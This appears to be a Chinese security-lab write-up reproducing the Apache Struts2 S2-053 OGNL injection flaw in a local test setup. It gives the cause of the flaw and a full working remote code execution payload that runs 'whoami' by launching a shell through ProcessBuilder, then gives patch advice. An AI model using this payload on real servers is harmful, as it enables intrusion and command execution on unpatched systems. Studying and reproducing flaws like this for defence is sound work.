联想安全实验室:Struts2 S2-053 漏洞复现
Posted 联想安全实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联想安全实验室:Struts2 S2-053 漏洞复现相关的知识,希望对你有一定的参考价值。
0X01 环境搭建
http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-053.war
将s2-053.war放入tomcat的webapps目录下,运行tomcat,s2-053.war会自动解包,访问http://localhost:8080/s2-053/
0X02 漏洞成因
如果标签内容是用“${}”这种方式解析,会被直接带入到OGNL中执行造成远程代码执行漏洞:
<@s.hiddenname="redirectUri"value="${redirectUri}" />
0X03 漏洞复现
打开页面http://localhost:8080/s2-053/,输入表达式%{10-1}进行测试,发现成功执行,返回9:
执行whoami返回信息。
Payload:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
0X04 漏洞验证
POC验证:
0X05 加固建议
升级Apache struts 至 2.5.12 版本 或者 2.3.34 版本。
0X04 参考
http://struts.apache.org/docs/s2-053.html
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053
https://mp.weixin.qq.com/s/4CiKgVn7Y-hWUKRjgECsuA
联想安全实验室
联想安全实验室,以控制产品安全质量为核心,研究主流安全攻防技术,构筑产品安全创新生态。实验室研究方向涵盖终端产品安全、云服务安全、IoT产品安全、大数据安全、无线网络安全等方向,专注于端到端的产品安全技术能力研究,同时安全实验室还关注工业互联网、智能交通、智慧城市、智慧家庭等方向的安全研究。
以上是关于联想安全实验室:Struts2 S2-053 漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)
威胁预警Apache Struts2远程代码执行漏洞(S2-053)
预警通告Apache Struts2 (S2-053) 远程代码执行漏洞